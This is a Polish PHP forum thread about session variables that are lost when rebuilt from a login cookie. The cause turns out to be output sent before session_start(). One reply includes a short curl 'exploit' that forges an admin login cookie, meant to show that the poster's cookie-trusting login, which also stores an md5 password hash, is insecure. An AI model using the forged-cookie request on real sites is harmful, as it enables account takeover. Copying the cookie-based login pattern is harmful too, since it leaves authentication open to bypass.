Witaj Gościu! ( Zaloguj | Rejestruj )

Forum PHP.pl

> $_SESSION nie działa
Lord17
post
Post #1





Grupa: Zarejestrowani
Postów: 25
Pomógł: 0
Dołączył: 24.03.2008

Ostrzeżenie: (0%)
-----


Robię sobie logowanie z wykorzystaniem Cookies. Działa to tak, że jeżeli nie istnieje $_COOKIE['login'] skrypt wyświetla panel logowania, jednak jeżeli to ciacho istnieje wyświetlone zostają dane "zalogowany jako" itd. Jednocześnie chcę zrobić, aby jeżeli istnieje to ciasteczko powstały dwie nowe zmienne sesji. $_SESSION['zalogowano'], oraz $_SESSION['login']. Kod wygląda tak:

Kod
if(isset($_COOKIE['login']))
{
$_SESSION['zalogowano'] = True;
$_SESSION['login'] = $_COOKIE['login'];


Teoretycznie wszystko jest ok, gdy na stronie wyechuję te dwie zmienne wszystko działa. Jednak gdy wyłączę przeglądarkę, a po włączeniu wejdę na stronę to jestem zalogowany, te dwie zmienne istnieją, jednak gdy wejdę do innego pliku skrypt gubi te zmienne. Zaczynają działać dopiero, gdy "przepuszczę" skrypt przez jakiś inny plik. Np wchodzę do pliku home.php, tutaj te zmienne działają, wchodzę do skomentuj.php - zmienne nie działają. Lecz jeżeli przed wejściem do skomentuj.php "przejdę" przez plik news.php, a dopiero stąd do skomentuj.php obie zmienne działają. Co może być przyczyną ?
Go to the top of the page
+Quote Post
2 Stron V   1 2 >  
Start new topic
Odpowiedzi (1 - 33)
nospor
post
Post #2





Grupa: Moderatorzy
Postów: 36 557
Pomógł: 6315
Dołączył: 27.12.2004




Ja troche na inny temat ale dla Twojego dobra.
Podaj mi adres tej strony i uwierz mi szybko będe zalogowany bez znajomosci danych logujących.

Nie mozna w ciachu trzymac info o tym czy ktos zalogowany czy nie, bo ciacho mozna baaaardzoooo latwo spreparowac.
Go to the top of the page
+Quote Post
Lord17
post
Post #3





Grupa: Zarejestrowani
Postów: 25
Pomógł: 0
Dołączył: 24.03.2008

Ostrzeżenie: (0%)
-----


Strona na localu. Nie bój się, wszystko jest zabezpieczone na tyle, żeby nikomu nie chciało się włamywać. Zresztą nie jest to strona banku, żebym musiał się szczególnie obawiać włamania (IMG:http://forum.php.pl/style_emoticons/default/smile.gif)  Ot, zwykłe logowanie do systemu komentarzy. W ciachu mam przechowane login i hasło, potem sprawdzam, czy w bazie istnieje konto z takim loginem i hasłem, a dopiero potem loguję. Nie jest to zbyt bezpieczne, ale jak już mówiłem strona jest z gatunku tych, na którą nikomu nie chciałoby się włamywać. Pomóżcie mi lepiej rozwiązać problem z tą sesją (IMG:http://forum.php.pl/style_emoticons/default/winksmiley.jpg)

Ten post edytował Lord17 23.06.2008, 16:28:34
Go to the top of the page
+Quote Post
pyro
post
Post #4





Grupa: Zarejestrowani
Postów: 2 148
Pomógł: 230
Dołączył: 26.03.2008

Ostrzeżenie: (0%)
-----


Cytat(Lord17 @ 23.06.2008, 17:19:10 ) *
Strona na localu. Nie bój się, wszystko jest zabezpieczone na tyle, żeby nikomu nie chciało się włamywać. Zresztą nie jest to strona banku, żebym musiał się szczególnie obawiać włamania (IMG:http://forum.php.pl/style_emoticons/default/smile.gif) Ot, zwykłe logowanie do systemu komentarzy. W ciachu mam przechowane login i hasło (wiem, wiem, nie jest to bezpieczne, bo wystarczy wykraść ciastko, a rozszyfrowanie md5() to łatwizna), potem sprawdzam, czy w bazie istnieje konto z takim loginem i hasłem, a dopiero potem loguję. Nie jest to zbyt bezpieczne, ale jak już mówiłem strona jest z gatunku tych, na którą nikomu nie chciałoby się włamywać. Pomóżcie mi lepiej rozwiązać problem z tą sesją (IMG:http://forum.php.pl/style_emoticons/default/winksmiley.jpg)



co ty pier*****

  1. <?php
  2. #exploit na twoje strone by pyro :)
  3. $a = curl_init('www.twojastrona.pl/logowanie.php');
  4. $cookie = 'login='.urlencode('admin');
  5. curl_setopt($a, CURLOPT_COOKIE, $cookie);
  6. curl_setopt($a, CURLOPT_COOKIEJAR, 'cookies.txt');
  7. curl_exec($a);
  8. curl_close($a);
  9. ?>


co ty gadasz o jakimś łamaniu md5 i wogóle... wyżej napisałem exploita w niecałą minutę... chyba o czymś to świadczy (IMG:http://forum.php.pl/style_emoticons/default/dry.gif)

co do twojego problemu to pewnie w tych innych plikach nie dałeś session_start" title="Zobacz w manualu PHP" target="_manual


--edit (@ociu)
Jeszcze raz zobaczę takie wygwiazdkowane słowa w Twoich postach, a dostaniesz warna. Nie posiadasz innych słów w swoim słowniku ?


Ten post edytował Ociu 23.06.2008, 21:25:53
Go to the top of the page
+Quote Post
Lord17
post
Post #5





Grupa: Zarejestrowani
Postów: 25
Pomógł: 0
Dołączył: 24.03.2008

Ostrzeżenie: (0%)
-----


session_start powiadasz ? no tak się składa, że jest wszędzie, gdzie być powinno. 
Go to the top of the page
+Quote Post
wlamywacz
post
Post #6





Grupa: Zarejestrowani
Postów: 535
Pomógł: 27
Dołączył: 3.05.2005

Ostrzeżenie: (20%)
X----


Wróżkami nie jesteśmy bo ja nie widzę tego w kodzie który podałeś.
Go to the top of the page
+Quote Post
Lord17
post
Post #7





Grupa: Zarejestrowani
Postów: 25
Pomógł: 0
Dołączył: 24.03.2008

Ostrzeżenie: (0%)
-----


Cytat(wlamywacz @ 23.06.2008, 18:11:37 ) *
Wróżkami nie jesteśmy bo ja nie widzę tego w kodzie który podałeś.


No ok, rozumiem. Podałem fragment kodu, który powinien pomóc zrozumieć w jaki sposób te $_SESSION są tworzone. Jednak jakby ktoś miał jakiś pomysł, dlaczego to nie trybi to byłbym bardzo wdzięczny za jakieś sugestie
Go to the top of the page
+Quote Post
pyro
post
Post #8





Grupa: Zarejestrowani
Postów: 2 148
Pomógł: 230
Dołączył: 26.03.2008

Ostrzeżenie: (0%)
-----


Cytat(wlamywacz @ 23.06.2008, 18:11:37 ) *
Wróżkami nie jesteśmy bo ja nie widzę tego w kodzie który podałeś.


sam sie domysl dlaczego cytuję włamywacza
Go to the top of the page
+Quote Post
Lord17
post
Post #9





Grupa: Zarejestrowani
Postów: 25
Pomógł: 0
Dołączył: 24.03.2008

Ostrzeżenie: (0%)
-----


KLIK

Cała funkcja odpowiedzialna za logowanie
Go to the top of the page
+Quote Post
mike
post
Post #10





Grupa: Przyjaciele php.pl
Postów: 7 494
Pomógł: 302
Dołączył: 31.03.2004

Ostrzeżenie: (0%)
-----


Cytat(Lord17 @ 23.06.2008, 17:34:14 ) *
session_start powiadasz ? no tak się składa, że jest wszędzie, gdzie być powinno.
session_start() a być zawsze wykonywane. A nie przy określonych warunkach.
Zawsze to zawsze. Za każdym razem.
Go to the top of the page
+Quote Post
pyro
post
Post #11





Grupa: Zarejestrowani
Postów: 2 148
Pomógł: 230
Dołączył: 26.03.2008

Ostrzeżenie: (0%)
-----


no a w skrypcie co podales tego nie widac... poza tym albo wkleiles kawalek kodu z czegos albo nie objales kawalka kodu w znaczniki php
Go to the top of the page
+Quote Post
Lord17
post
Post #12





Grupa: Zarejestrowani
Postów: 25
Pomógł: 0
Dołączył: 24.03.2008

Ostrzeżenie: (0%)
-----


czego nie widać? Bo już się pogubiłem.

To jest funkcja odpowiedzialna za logowanie, z pliku funkcje.php. Jest objęta w zniaczniki PHP, tylko jest to jedynie fragment pliku
Go to the top of the page
+Quote Post
pyro
post
Post #13





Grupa: Zarejestrowani
Postów: 2 148
Pomógł: 230
Dołączył: 26.03.2008

Ostrzeżenie: (0%)
-----


napewno dałeś wszedzie session_start? Zobacz co daje print_r($_SESSION);
Go to the top of the page
+Quote Post
Lord17
post
Post #14





Grupa: Zarejestrowani
Postów: 25
Pomógł: 0
Dołączył: 24.03.2008

Ostrzeżenie: (0%)
-----


session_start() na pewno jest wszędzie. 

a co do print_r($_SESSION);

w pliku, w którym się zalogowuje wyświetla

Kod
Array ( [zalogowano] => 1 [login] => Lord [haslo] => 7130095d311fc4d850cff4e82a36de9b )


jednak po wejściu w plik skomentuj.php wyświetla

Kod
Array ( )
czyli tak jakby gubi tą sesję
Ma znaczenie, czy session_start() wpiszę przed, czy po wywołaniu funkcji?

Ten post edytował Lord17 23.06.2008, 21:45:35
Go to the top of the page
+Quote Post
pest
post
Post #15





Grupa: Zarejestrowani
Postów: 78
Pomógł: 15
Dołączył: 10.12.2007
Skąd: Lublin

Ostrzeżenie: (0%)
-----


Ma znaczenie, że session_start() dajesz na początku skryptu, albo tuż po załadowaniu plików z klasami.
Go to the top of the page
+Quote Post
Lord17
post
Post #16





Grupa: Zarejestrowani
Postów: 25
Pomógł: 0
Dołączył: 24.03.2008

Ostrzeżenie: (0%)
-----


session_start() jest na początku każdego pliku. Najbardziej dziwne jest, że po przejściu do jakiegokolwiek pliku "gubi" sesję, dopiero po przejściu do jeszcze innego pliku tą sesję odnajduje. Dzieje się tak tylko przy wywoływaniu $_SESSION z $_COOKIE

Ten post edytował Lord17 23.06.2008, 22:25:54
Go to the top of the page
+Quote Post
dragonsokol
post
Post #17





Grupa: Zarejestrowani
Postów: 31
Pomógł: 2
Dołączył: 23.06.2008

Ostrzeżenie: (0%)
-----


ja mam tak:
poczatek pliku:
Kod
session_start();
ob_start();


koinec:
Kod
ob_flush();


stronke masz u siebie w domu czy jakis hosting darmowy? mi na paru hostingach gubilo $_SESSION i $_COOKIE
Go to the top of the page
+Quote Post
Lord17
post
Post #18





Grupa: Zarejestrowani
Postów: 25
Pomógł: 0
Dołączył: 24.03.2008

Ostrzeżenie: (0%)
-----


Strona stoi na localhoście.
Go to the top of the page
+Quote Post
dragonsokol
post
Post #19





Grupa: Zarejestrowani
Postów: 31
Pomógł: 2
Dołączył: 23.06.2008

Ostrzeżenie: (0%)
-----


windows czy linux? jezeli windows to xampp czy czysty apache? sprawdz folder z sesjami folder "/tmp" czy masz prawa zapisywania
Go to the top of the page
+Quote Post
Lord17
post
Post #20





Grupa: Zarejestrowani
Postów: 25
Pomógł: 0
Dołączył: 24.03.2008

Ostrzeżenie: (0%)
-----


Tam wszystko jest ok. Sesje gubi tylko przy wywoływaniu jej ze $_COOKIE. Przy normalnym logowaniu przez formularz jest wszystko ok

Edit: Zauważyłem jeszcze jedną ciekawą rzecz. Mianowicie przy wpisaniu adresu pliku do paska adresu nie gubi sesji. Gubi ją tylko przy korzystaniu z odnośników.

Ten post edytował Lord17 23.06.2008, 23:45:46
Go to the top of the page
+Quote Post
jml
post
Post #21





Grupa: Zarejestrowani
Postów: 28
Pomógł: 0
Dołączył: 8.02.2007

Ostrzeżenie: (0%)
-----


Cytat(Lord17 @ 23.06.2008, 22:01:42 ) *
KLIK

Cała funkcja odpowiedzialna za logowanie

Cytat(Lord17 @ 23.06.2008, 23:24:54 ) *
session_start() jest na początku każdego pliku. Najbardziej dziwne jest, że po przejściu do jakiegokolwiek pliku "gubi" sesję, dopiero po przejściu do jeszcze innego pliku tą sesję odnajduje. Dzieje się tak tylko przy wywoływaniu $_SESSION z $_COOKIE

Mam nadzieję, że wywaliłeś wszystkie session_start() z tej funkcji logującej? Jak wywołujesz tą funkcję w pliku x, ważne aby w nim na początku było session_start() wywołane.

U mnie generalnie zawsze wszystko kręci się w index.php, wystarczy mi więc wywołać session_start() tylko na początku skryptu index.php. Nie ważne ile plików z klasami/funkcjami itd dołączam tam, dopóki wszystko robi się w indexie będzie ok (IMG:http://forum.php.pl/style_emoticons/default/smile.gif) Nie wiem jak to jest rozwiązane u Ciebie, ale zachęcam do takiego podejścia.


Cytat(dragonsokol @ 24.06.2008, 00:12:27 ) *
ja mam tak:
poczatek pliku:
Kod
session_start();
ob_start();


koinec:
Kod
ob_flush();


stronke masz u siebie w domu czy jakis hosting darmowy? mi na paru hostingach gubilo $_SESSION i $_COOKIE

Z tego co pamiętam miałem kiedyś problem z sesjami przez ob_start - zmieniało mi SIDy, po wywaleniu obów było już ok, nie wiem jakie jest rozwiązanie na to bo nie miałem czasu szukać wtedy - może ktoś wie czemu sesje i oby się kłucą? I jak to obejść.
Go to the top of the page
+Quote Post
Lord17
post
Post #22





Grupa: Zarejestrowani
Postów: 25
Pomógł: 0
Dołączył: 24.03.2008

Ostrzeżenie: (0%)
-----


Możliwe, że gubi tą sesję przez to, że za dużo razy powtarza się session_start() ?  Bo przyznam się, że w przeciętnym pliku session_start() znajduje się aż trzy razy.
Go to the top of the page
+Quote Post
mike
post
Post #23





Grupa: Przyjaciele php.pl
Postów: 7 494
Pomógł: 302
Dołączył: 31.03.2004

Ostrzeżenie: (0%)
-----


Cytat(Lord17 @ 24.06.2008, 10:24:03 ) *
Możliwe, że gubi tą sesję przez to, że za dużo razy powtarza się session_start() ?  Bo przyznam się, że w przeciętnym pliku session_start() znajduje się aż trzy razy.
Jak bardzo niedomyślnym trzeba być żeby nie zrozumieć czegoś co Ci piszą już kilka razy.

Masz mieć tylko raz session_start() i masz je wykonać zanim wykonasz jakąkolwiek inną instrukcję.

Ten post edytował mike 24.06.2008, 09:34:50
Go to the top of the page
+Quote Post
Lord17
post
Post #24





Grupa: Zarejestrowani
Postów: 25
Pomógł: 0
Dołączył: 24.03.2008

Ostrzeżenie: (0%)
-----


Cytat(mike @ 24.06.2008, 10:34:26 ) *
Jak bardzo niedomyślnym trzeba być żeby nie zrozumieć czegoś co Ci piszą już kilka razy.

Masz mieć tylko raz session_start() i masz je wykonać zanim wykonasz jakąkolwiek inną instrukcję.


Wolałem się upewnić. Teraz jest już tylko 1 raz, ale to nie zmienia faktu, że problemu to nie rozwiązuje. Sesję gubi nadal.
Go to the top of the page
+Quote Post
batman
post
Post #25





Grupa: Moderatorzy
Postów: 2 921
Pomógł: 269
Dołączył: 11.08.2005
Skąd: 127.0.0.1




Dwie strony o niczym.
Przenoszę na przedszkole i jestem bliski zamknięcia tematu. Odpowiedzi dostałeś już wystarczająco dużo, by znaleźć rozwiązanie problemu.
Go to the top of the page
+Quote Post
Lord17
post
Post #26





Grupa: Zarejestrowani
Postów: 25
Pomógł: 0
Dołączył: 24.03.2008

Ostrzeżenie: (0%)
-----


Cytat(batman @ 24.06.2008, 10:44:16 ) *
Dwie strony o niczym.
Przenoszę na przedszkole i jestem bliski zamknięcia tematu. Odpowiedzi dostałeś już wystarczająco dużo, by znaleźć rozwiązanie problemu.


Ta, to ja dziękuję za odpowiedzi, które w żaden sposób nie nakierowały mnie co jest nie tak i dlaczego sesję gubi tylko przy korzystaniu z linków, a przy wpisywaniu adresu do paska przeglądarki nie.
Go to the top of the page
+Quote Post
batman
post
Post #27





Grupa: Moderatorzy
Postów: 2 921
Pomógł: 269
Dołączył: 11.08.2005
Skąd: 127.0.0.1




1. session_start() - 1 raz na plik.
2. setcookie - ustawia ciasteczko po zalogowaniu użytkownika.
3. ciasteczko będzie widoczne dopiero po odświeżeniu strony.
Go to the top of the page
+Quote Post
Lord17
post
Post #28





Grupa: Zarejestrowani
Postów: 25
Pomógł: 0
Dołączył: 24.03.2008

Ostrzeżenie: (0%)
-----


Te wszystkie warunki są spełnione. Dobra, może jeszcze raz.

index.php - odpowiada za includowanie odpowiednich plików

funkcja - funkcja odpowiadająca za logowanie, wywoływana w pliku logo.php

naglowek.php - plik includeowany w każdym innym pliku. To w nim tworzone są ciacha

logo.php - również includeowany w każdym pliku. Tutaj wywołuję funkcję.

Przypominam tylko, że logowanie działa dobrze, gdy korzystam z formularza. Ciacho się tworzy, po wyjściu z przeglądarki i wejściu na stronę po 10 minutach nadal jestem zalogowany. Właśnie wtedy tworzę $_SESSION z ciacha (linia 80 w funkcji). print_r($_SESSION); wywala wartości sesji, czyli niby wszystko jest ok. Problemy zaczynają się przy przechodzeniu do innej podstrony i wykorzystaniu do tego celu odnośników (przy wpisaniu adresu w pasek adresu przeglądarki sesja działa), wtedy właśnie sesja jest gubiona i skrypt odnajduje ją dopiero po przejściu do jeszcze innego pliku. Mam nadzieję, że teraz ktoś będzie w stanie znaleźć jakieś lekarstwo na ten problem. Bo jak do tej pory wszystkie wskazówki wykorzystałem, jednak nic to nie daje.
Go to the top of the page
+Quote Post
batman
post
Post #29





Grupa: Moderatorzy
Postów: 2 921
Pomógł: 269
Dołączył: 11.08.2005
Skąd: 127.0.0.1




1. session_start musi być na każdej stronie na samej górze pliku.
2. Usuń @, który znajduje się przed session_start
Go to the top of the page
+Quote Post
Lord17
post
Post #30





Grupa: Zarejestrowani
Postów: 25
Pomógł: 0
Dołączył: 24.03.2008

Ostrzeżenie: (0%)
-----


Cytat(batman @ 24.06.2008, 13:17:18 ) *
1. session_start musi być na każdej stronie na samej górze pliku.
2. Usuń @, który znajduje się przed session_start

1. jak jest w index.php to jest jednocześnie na górze każdego pliku, skoro includuję, nie? A jeżeli się mylę to wiedz, że sprawdziłem również sposób z wywaleniem session_start() z index.php i wklejenie do każdego pliku. Nie ma żadnej różnicy.


2. Jak usunę @ wywala mi błąd.
Go to the top of the page
+Quote Post
mike
post
Post #31





Grupa: Przyjaciele php.pl
Postów: 7 494
Pomógł: 302
Dołączył: 31.03.2004

Ostrzeżenie: (0%)
-----


Cytat(Lord17 @ 24.06.2008, 13:32:41 ) *
2. Jak usunę @ wywala mi błąd.
I nie pomyślałeś, że może coś jest nie tak?
Może byś nam go pokazał? Nie wpadłeś na to?

Ten post edytował mike 24.06.2008, 12:34:24
Go to the top of the page
+Quote Post
Lord17
post
Post #32





Grupa: Zarejestrowani
Postów: 25
Pomógł: 0
Dołączył: 24.03.2008

Ostrzeżenie: (0%)
-----


Cytat(mike @ 24.06.2008, 13:34:12 ) *
I nie pomyślałeś, że może coś jest nie tak?
Może byś nam go pokazał? Nie wpadłeś na to?

Proszę Cię bardzo


Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at C:\wamp\www\p24\includes\naglowek.php:27) in C:\wamp\www\p24\cms\funkcje.php on line 91
Go to the top of the page
+Quote Post
mike
post
Post #33





Grupa: Przyjaciele php.pl
Postów: 7 494
Pomógł: 302
Dołączył: 31.03.2004

Ostrzeżenie: (0%)
-----


Koleś jest niepoważny. Zamknijcie ten wątek.
Go to the top of the page
+Quote Post
batman
post
Post #34





Grupa: Moderatorzy
Postów: 2 921
Pomógł: 269
Dołączył: 11.08.2005
Skąd: 127.0.0.1




Wybacz zwłokę w odpowiedzi, ale musiałem się pozbierać z podłogi i zmienić pieluchę. Skoro jest błąd, to się go poprawia, a nie ukrywa. tyle czasu poszło na marne.
A błąd mówi sam za siebie. Nie można używać session_start w środku, ponieważ jakiś output się wysłał do przeglądarki.

edit
Zgadzam się z przedmówcą.

Zamykam.
Go to the top of the page
+Quote Post

2 Stron V   1 2 >
Closed TopicStart new topic
2 Użytkowników czyta ten temat (2 Gości i 0 Anonimowych użytkowników)
0 Zarejestrowanych:

 



RSS Aktualny czas: 19.09.2025 - 01:49